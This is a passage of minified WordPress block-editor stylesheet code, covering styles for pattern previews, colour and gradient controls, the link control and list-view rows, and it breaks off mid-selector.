.block-editor-block-preview__container{cursor:pointer}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{border:1px solid #0000;border-radius:2px;height:100%;position:relative;transition:all .05s ease-in-out}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:focus,.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) #1e1e1e}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item .block-editor-block-switcher__preview-patterns-container-list__item-title{cursor:pointer;font-size:12px;padding:4px;text-align:center}.block-editor-block-switcher__no-transforms{color:#757575;margin:0;padding:6px 8px}.block-editor-block-types-list>[role=presentation]{display:flex;flex-wrap:wrap;overflow:hidden}.block-editor-block-pattern-setup{align-items:flex-start;border-radius:2px;display:flex;flex-direction:column;justify-content:center;width:100%}.block-editor-block-pattern-setup.view-mode-grid{padding-top:4px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__toolbar{justify-content:center}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{column-count:2;column-gap:24px;display:block;padding:0 32px;width:100%}@media (min-width:1440px){.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{column-count:3}}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-preview__container,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container div[role=button]{cursor:pointer}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item{scroll-margin:5px 0}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-preview__container{box-shadow:0 0 0 2px var(--wp-admin-theme-color)}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-preview__container{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-pattern-setup-list__item-title,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-pattern-setup-list__item-title{color:var(--wp-admin-theme-color)}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item{break-inside:avoid-column;margin-bottom:24px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-pattern-setup-list__item-title{cursor:pointer;font-size:12px;padding-top:8px;text-align:center}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__container{border:1px solid #ddd;border-radius:2px;min-height:100px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__content{width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar{align-items:center;align-self:stretch;background-color:#fff;border-top:1px solid #ddd;bottom:0;box-sizing:border-box;color:#1e1e1e;display:flex;flex-direction:row;height:60px;justify-content:space-between;margin:0;padding:16px;position:absolute;text-align:left;width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__display-controls{display:flex}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions,.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__navigation{display:flex;width:calc(50% - 36px)}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions{justify-content:flex-end}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container{box-sizing:border-box;display:flex;flex-direction:column;height:100%;width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container{height:100%;list-style:none;margin:0;overflow:hidden;padding:0;position:relative;transform-style:preserve-3d}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container *{box-sizing:border-box}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{background-color:#fff;height:100%;margin:auto;padding:0;position:absolute;top:0;transition:transform .5s,z-index .5s;width:100%;z-index:100}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.active-slide{opacity:1;position:relative;z-index:102}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.previous-slide{transform:translateX(-100%);z-index:101}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.next-slide{transform:translateX(100%);z-index:101}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .block-list-appender{display:none}.block-editor-block-pattern-setup__carousel,.block-editor-block-pattern-setup__grid{width:100%}.block-editor-block-variation-transforms{padding:0 16px 16px 52px;width:100%}.block-editor-block-variation-transforms .components-dropdown-menu__toggle{border:1px solid #757575;border-radius:2px;justify-content:left;min-height:30px;padding:6px 12px;position:relative;text-align:left;width:100%}.block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle{padding-right:24px}.block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled){border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 calc(var(--wp-admin-border-width-focus) - 1px) var(--wp-admin-theme-color)}.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{height:100%;padding:0;position:absolute;right:0;top:0}.block-editor-block-variation-transforms__popover .components-popover__content{min-width:230px}.components-border-radius-control{margin-bottom:12px}.components-border-radius-control legend{margin-bottom:8px}.components-border-radius-control .components-border-radius-control__wrapper{align-items:flex-start;display:flex;justify-content:space-between}.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__unit-control{flex-shrink:0;margin-bottom:0;margin-right:16px;width:calc(50% - 8px)}.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control{flex:1;margin-right:12px}.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control>div{align-items:center;display:flex;height:40px}.components-border-radius-control .components-border-radius-control__wrapper>span{flex:0 0 auto}.components-border-radius-control .components-border-radius-control__input-controls-wrapper{display:grid;gap:16px;grid-template-columns:repeat(2,minmax(0,1fr));margin-right:12px}.components-border-radius-control .component-border-radius-control__linked-button{display:flex;justify-content:center;margin-top:8px}.components-border-radius-control .component-border-radius-control__linked-button svg{margin-right:0}.block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator{margin-bottom:12px}.block-editor-color-gradient-control__fieldset{min-width:0}.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings,.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings>div:not(:first-of-type){display:block}@media screen and (min-width:782px){.block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches{display:grid;grid-template-columns:repeat(6,28px)}}.block-editor-block-inspector .block-editor-panel-color-gradient-settings .components-base-control{margin-bottom:inherit}.block-editor-panel-color-gradient-settings__dropdown-content .block-editor-color-gradient-control__panel{padding:16px;width:260px}.block-editor-panel-color-gradient-settings__color-indicator{background:linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.block-editor-tools-panel-color-gradient-settings__item{border-bottom:1px solid #ddd;border-left:1px solid #ddd;border-right:1px solid #ddd;max-width:100%;padding:0}.block-editor-tools-panel-color-gradient-settings__item:nth-child(1 of .block-editor-tools-panel-color-gradient-settings__item){border-top:1px solid #ddd;border-top-left-radius:2px;border-top-right-radius:2px;margin-top:24px}.block-editor-tools-panel-color-gradient-settings__item:nth-last-child(1 of .block-editor-tools-panel-color-gradient-settings__item){border-bottom-left-radius:2px;border-bottom-right-radius:2px}.block-editor-tools-panel-color-gradient-settings__item>div,.block-editor-tools-panel-color-gradient-settings__item>div>button{border-radius:inherit}.block-editor-tools-panel-color-gradient-settings__dropdown{display:block;padding:0}.block-editor-tools-panel-color-gradient-settings__dropdown>button{height:auto;padding-bottom:10px;padding-top:10px;text-align:left}.block-editor-tools-panel-color-gradient-settings__dropdown>button.is-open{background:#f0f0f0;color:var(--wp-admin-theme-color)}.block-editor-tools-panel-color-gradient-settings__dropdown .block-editor-panel-color-gradient-settings__color-name{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-panel-color-gradient-settings__dropdown{width:100%}.block-editor-panel-color-gradient-settings__dropdown .component-color-indicator{flex-shrink:0}.block-editor-date-format-picker{margin-bottom:16px}.block-editor-date-format-picker__custom-format-select-control__custom-option{border-top:1px solid #ddd}.block-editor-date-format-picker__custom-format-select-control__custom-option.has-hint{grid-template-columns:auto 30px}.block-editor-date-format-picker__custom-format-select-control__custom-option .components-custom-select-control__item-hint{grid-row:2;text-align:left}.block-editor-duotone-control__popover>.components-popover__content{padding:16px;width:260px}.block-editor-duotone-control__popover .components-menu-group__label{padding:0}.block-editor-duotone-control__popover .components-circular-option-picker__swatches{display:grid;gap:12px;grid-template-columns:repeat(6,28px);justify-content:space-between}.block-editor-duotone-control__unset-indicator{background:linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.components-font-appearance-control ul li{color:#1e1e1e;text-transform:capitalize}.block-editor-global-styles__toggle-icon{fill:currentColor}.block-editor-global-styles__shadow-popover-container{width:230px}.block-editor-global-styles__shadow__list{display:flex;flex-wrap:wrap;gap:12px;padding-bottom:8px}.block-editor-global-styles__clear-shadow{text-align:right}.block-editor-global-styles-filters-panel__dropdown,.block-editor-global-styles__shadow-dropdown{display:block;padding:0}.block-editor-global-styles-filters-panel__dropdown button,.block-editor-global-styles__shadow-dropdown button{padding:8px;width:100%}.block-editor-global-styles-filters-panel__dropdown button.is-open,.block-editor-global-styles__shadow-dropdown button.is-open{background-color:#f0f0f0}.block-editor-global-styles__shadow-indicator{border:1px solid #e0e0e0;border-radius:2px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;height:26px;padding:0;transform:scale(1);transition:transform .1s ease;width:26px;will-change:transform}.block-editor-global-styles__shadow-indicator:focus{border:2px solid #757575}.block-editor-global-styles__shadow-indicator:hover{transform:scale(1.2)}.block-editor-global-styles__shadow-indicator.unset{background:linear-gradient(-45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.block-editor-global-styles-advanced-panel__custom-css-input textarea{direction:ltr;font-family:Menlo,Consolas,monaco,monospace}.block-editor-height-control{border:0;margin:0;padding:0}.block-editor-image-size-control{margin-bottom:1em}.block-editor-image-size-control .block-editor-image-size-control__height,.block-editor-image-size-control .block-editor-image-size-control__width{margin-bottom:1.115em}.block-editor-block-types-list__list-item{display:block;margin:0;padding:0;width:33.33%}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled) .block-editor-block-icon.has-colors{color:var(--wp-block-synced-color)}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{color:var(--wp-block-synced-color)!important;filter:brightness(.95)}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover svg{color:var(--wp-block-synced-color)!important}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):after{background:var(--wp-block-synced-color)}.components-button.block-editor-block-types-list__item{align-items:stretch;background:#0000;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;flex-direction:column;font-size:13px;height:auto;justify-content:center;padding:8px;position:relative;transition:all .05s ease-in-out;width:100%;word-break:break-word}@media (prefers-reduced-motion:reduce){.components-button.block-editor-block-types-list__item{transition-delay:0s;transition-duration:0s}}.components-button.block-editor-block-types-list__item:disabled{cursor:default;opacity:.6}.components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{color:var(--wp-admin-theme-color)!important;filter:brightness(.95)}.components-button.block-editor-block-types-list__item:not(:disabled):hover svg{color:var(--wp-admin-theme-color)!important}.components-button.block-editor-block-types-list__item:not(:disabled):hover:after{background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.04;pointer-events:none;position:absolute;right:0;top:0}.components-button.block-editor-block-types-list__item:not(:disabled):focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-button.block-editor-block-types-list__item:not(:disabled).is-active{background:#1e1e1e;color:#fff;outline:2px solid #0000;outline-offset:-2px}.block-editor-block-types-list__item-icon{border-radius:2px;color:#1e1e1e;padding:12px 20px;transition:all .05s ease-in-out}@media (prefers-reduced-motion:reduce){.block-editor-block-types-list__item-icon{transition-delay:0s;transition-duration:0s}}.block-editor-block-types-list__item-icon .block-editor-block-icon{margin-left:auto;margin-right:auto}.block-editor-block-types-list__item-icon svg{transition:all .15s ease-out}@media (prefers-reduced-motion:reduce){.block-editor-block-types-list__item-icon svg{transition-delay:0s;transition-duration:0s}}.block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon{cursor:grab}.block-editor-block-types-list__item-title{font-size:12px;padding:4px 2px 8px}.show-icon-labels .block-editor-block-inspector__tabs [role=tablist] .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-block-inspector__tabs [role=tablist] .components-button.has-icon:before{content:attr(aria-label)}.block-editor-inspector-controls-tabs__hint{align-items:flex-start;background:#f0f0f0;border-radius:2px;color:#1e1e1e;display:flex;flex-direction:row;font-size:13px;margin:16px}.block-editor-inspector-controls-tabs__hint-content{margin:12px 0 12px 12px}.block-editor-inspector-controls-tabs__hint-dismiss{margin:4px 4px 4px 0}.block-editor-inspector-popover-header{margin-bottom:16px}[class].block-editor-inspector-popover-header__action{height:24px}[class].block-editor-inspector-popover-header__action.has-icon{min-width:24px;padding:0}[class].block-editor-inspector-popover-header__action:not(.has-icon){text-decoration:underline}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}@keyframes loadingpulse{0%{opacity:1}50%{opacity:0}to{opacity:1}}.block-editor-link-control{min-width:350px;position:relative}.components-popover__content .block-editor-link-control{max-width:350px;min-width:auto;width:90vw}.show-icon-labels .block-editor-link-control .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-link-control .components-button.has-icon:before{content:attr(aria-label)}.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top{gap:8px}.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top .components-button.has-icon{min-width:inherit;width:min-content}.block-editor-link-control__search-input-wrapper{margin-bottom:8px;position:relative}.block-editor-link-control__search-input-container,.block-editor-link-control__search-input-wrapper{position:relative}.block-editor-link-control__field{margin:16px}.block-editor-link-control__field .components-base-control__label{color:#1e1e1e}.block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:40px;line-height:normal;margin:0;padding:8px 40px 8px 16px;position:relative;transition:box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{font-size:13px;line-height:normal}}.block-editor-link-control__field input[type=text]:focus,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-link-control__field input[type=text]::-webkit-input-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input::-webkit-input-placeholder{color:#1e1e1e9e}.block-editor-link-control__field input[type=text]::-moz-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input::-moz-placeholder{color:#1e1e1e9e;opacity:1}.block-editor-link-control__field input[type=text]:-ms-input-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input:-ms-input-placeholder{color:#1e1e1e9e}.has-actions .block-editor-link-control__field input[type=text],.has-actions .block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{padding-right:16px}.block-editor-link-control__search-error{margin:-8px 16px 16px}.block-editor-link-control__search-enter{position:absolute;right:19px;top:3px}.block-editor-link-control__search-enter svg{position:relative;top:-2px}.block-editor-link-control__search-actions{padding:8px 16px 16px}.block-editor-link-control__search-results-wrapper{position:relative}.block-editor-link-control__search-results-wrapper:after,.block-editor-link-control__search-results-wrapper:before{content:"";display:block;left:-1px;pointer-events:none;position:absolute;right:16px;z-index:100}.block-editor-link-control__search-results-wrapper:before{bottom:auto;height:8px;top:0}.block-editor-link-control__search-results-wrapper:after{bottom:0;height:16px;top:auto}.block-editor-link-control__search-results{margin-top:-16px;max-height:200px;overflow-y:auto;padding:8px}.block-editor-link-control__search-results.is-loading{opacity:.2}.block-editor-link-control__search-item.components-button.components-menu-item__button{height:auto;text-align:left}.block-editor-link-control__search-item .components-menu-item__item{display:inline-block;overflow:hidden;text-overflow:ellipsis;width:100%}.block-editor-link-control__search-item .components-menu-item__item mark{background-color:initial;color:inherit;font-weight:600}.block-editor-link-control__search-item .components-menu-item__shortcut{color:#757575;text-transform:capitalize;white-space:nowrap}.block-editor-link-control__search-item[aria-selected]{background:#f0f0f0}.block-editor-link-control__search-item.is-current{background:#0000;border:0;cursor:default;flex-direction:column;padding:16px;width:100%}.block-editor-link-control__search-item .block-editor-link-control__search-item-header{align-items:center;display:block;flex-direction:row;gap:8px;margin-right:8px;overflow-wrap:break-word;white-space:pre-wrap}.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-info{color:#757575;font-size:12px;line-height:1.1;word-break:break-all}.block-editor-link-control__search-item.is-preview .block-editor-link-control__search-item-header{display:flex;flex:1}.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-header{align-items:center}.block-editor-link-control__search-item.is-url-title .block-editor-link-control__search-item-title{word-break:break-all}.block-editor-link-control__search-item .block-editor-link-control__search-item-details{display:flex;flex-direction:column;gap:4px;justify-content:space-between}.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-icon{background-color:#f0f0f0;border-radius:2px;height:32px;width:32px}.block-editor-link-control__search-item .block-editor-link-control__search-item-icon{align-items:center;display:flex;flex-shrink:0;justify-content:center;position:relative}.block-editor-link-control__search-item .block-editor-link-control__search-item-icon img{width:16px}.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-icon{max-height:32px;top:0;width:32px}.block-editor-link-control__search-item .block-editor-link-control__search-item-title{border-radius:2px;line-height:1.1}.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus{box-shadow:none}.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus-visible{box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;text-decoration:none}.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{background-color:initial;color:inherit;font-weight:600}.block-editor-link-control__search-item .block-editor-link-control__search-item-title span{font-weight:400}.block-editor-link-control__search-item .block-editor-link-control__search-item-title svg{display:none}.block-editor-link-control__search-item-top{align-items:center;display:flex;flex-direction:row;width:100%}.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon img,.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon svg{opacity:0}.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{animation:loadingpulse 1s linear infinite;animation-delay:.5s;background-color:#f0f0f0;border-radius:100%;bottom:0;content:"";display:block;left:0;position:absolute;right:0;top:0}.block-editor-link-control__loading{align-items:center;display:flex;margin:16px}.block-editor-link-control__loading .components-spinner{margin-top:0}.components-button+.block-editor-link-control__search-create{overflow:visible;padding:12px 16px}.components-button+.block-editor-link-control__search-create:before{content:"";display:block;left:0;position:absolute;top:-10px;width:100%}.block-editor-link-control__search-create{align-items:center}.block-editor-link-control__search-create .block-editor-link-control__search-item-title{margin-bottom:0}.block-editor-link-control__search-create .block-editor-link-control__search-item-icon{top:0}.block-editor-link-control__drawer-inner{display:flex;flex-basis:100%;flex-direction:column;position:relative}.block-editor-link-control__setting{flex:1;margin-bottom:0;padding:8px 0 8px 24px}.block-editor-link-control__setting .components-base-control__field{display:flex}.block-editor-link-control__setting .components-base-control__field .components-checkbox-control__label{color:#1e1e1e}.block-editor-link-control__setting input{margin-left:0}.is-preview .block-editor-link-control__setting{padding:20px 8px 8px 0}.block-editor-link-control__tools{margin-top:-16px;padding:8px 8px 0}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle{gap:0;padding-left:0}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true]{color:#1e1e1e}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{transform:rotate(90deg);transition:transform .1s ease;visibility:visible}@media (prefers-reduced-motion:reduce){.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{transition-delay:0s;transition-duration:0s}}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{transform:rotate(0deg);transition:transform .1s ease;visibility:visible}@media (prefers-reduced-motion:reduce){.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{transition-delay:0s;transition-duration:0s}}.block-editor-link-control .block-editor-link-control__search-input .components-spinner{display:block}.block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner{bottom:auto;left:auto;position:absolute;right:40px;top:calc(50% - 8px)}.block-editor-link-control .block-editor-link-control__search-input-wrapper.has-actions .components-spinner{right:12px;top:calc(50% + 4px)}.block-editor-list-view-tree{border-collapse:collapse;margin:0;padding:0;width:100%}.components-modal__content .block-editor-list-view-tree{margin:-12px -6px 0;width:calc(100% + 12px)}.block-editor-list-view-tree.is-dragging tbody{pointer-events:none}.block-editor-list-view-leaf{position:relative;transform:translateY(0)}.block-editor-list-view-leaf.is-draggable,.block-editor-list-view-leaf.is-draggable .block-editor-list-view-block-contents{cursor:grab}.block-editor-list-view-leaf .block-editor-list-view-block-select-button[aria-expanded=true]{color:inherit}.block-editor-list-view-leaf .block-editor-list-view-block-select-button:hover{color:var(--wp-admin-theme-color)}.is-dragging-components-draggable .block-editor-list-view-leaf:not(.is-selected) .block-editor-list-view-block-select-button:hover{color:inherit}.block-editor-list-view-leaf.is-selected td{background:var(--wp-admin-theme-color)}.block-editor-list-view-leaf.is-selected.is-synced td{background:var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents .block-editor-block-icon,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:hover{color:var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents,.block-editor-list-view-leaf.is-selected .components-button.has-icon{color:#fff}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-list-view-leaf.is-selected.is-synced .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-list-view-leaf.is-first-selected td:first-child{border-top-left-radius:2px}.block-editor-list-view-leaf.is-first-selected td:last-child{border-top-right-radius:2px}.block-editor-list-view-leaf.is-last-selected td:first-child{border-bottom-left-radius:2px}.block-editor-list-view-leaf.is-last-selected td:last-child{border-bottom-right-radius:2px}.block-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){background:rgba(var(--wp-admin-theme-color--rgb),.04)}.block-editor-list-view-leaf.is-synced-branch.is-branch-selected{background:rgba(var(--wp-block-synced-color--rgb),.04)}.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:first-child{border-top-left-radius:2px}.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:last-child{border-top-right-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:first-child{border-top-left-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:last-child{border-top-right-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:first-child{border-bottom-left-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:last-child{border-bottom-right-radius:2px}.block-editor-list-view-leaf.is-branch-selected:not(.is-selected) td{border-radius:0}.block-editor-list-view-leaf.is-displacement-normal{transform:translateY(0);transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-displacement-normal{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-displacement-up{transform:translateY(-36px);transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-displacement-up{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-displacement-down{transform:translateY(36px);transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-displacement-down{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-after-dragged-blocks{transform:translateY(calc(var(--wp-admin--list-view-dragged-items-height, 36px)*-1));transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-after-dragged-blocks{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{transform:translateY(calc(-36px + var(--wp-admin--list-view-dragged-items-height, 36px)*-1));transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{transform:translateY(calc(36px + var(--wp-admin--list-view-dragged-items-height, 36px)*-1));transition:transform .2s}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{transition-delay:0s;transition-duration:0s}}.block-editor-list-view-leaf.is-dragging{left:0;opacity:0;pointer-events:none;z-index:-9999}.block-editor-list-view-leaf .block-editor-list-view-block-contents{align-items:center;border-radius:2px;display:flex;height:auto;padding:6px 4px 6px 0;position:relative;text-align:left;white-space:nowrap;width:100%}.block-editor-list-view-leaf .block-editor-list-view-block-contents.is-dropping-before:before{border-top:4px solid var(--wp-admin-theme-color);content:"";left:0;pointer-events:none;position:absolute;right:0;top:-2px;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear}.components-modal__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{padding-left:0;padding-right:0}.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents{box-shadow:none}.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents:after{border-radius:inherit;bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:0;pointer-events:none;position:absolute;right:-29px;top:0;z-index:2}.block-editor-list-view-leaf.has-single-cell .block-editor-list-view-block-contents:focus:after{right:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view__menu{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);z-index:1}.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{animation:edit-post__fade-in-animation .2s ease-out 0s;animation-fill-mode:forwards;opacity:1}@media (prefers-reduced-motion:reduce){.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{animation-delay:0s;animation-duration:1ms}}.block-editor-list-view-leaf .block-editor-block-icon{flex:0 0 24px;margin-right:8px}.block-editor-list-view-leaf .block-editor-list-view-block__contents-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf 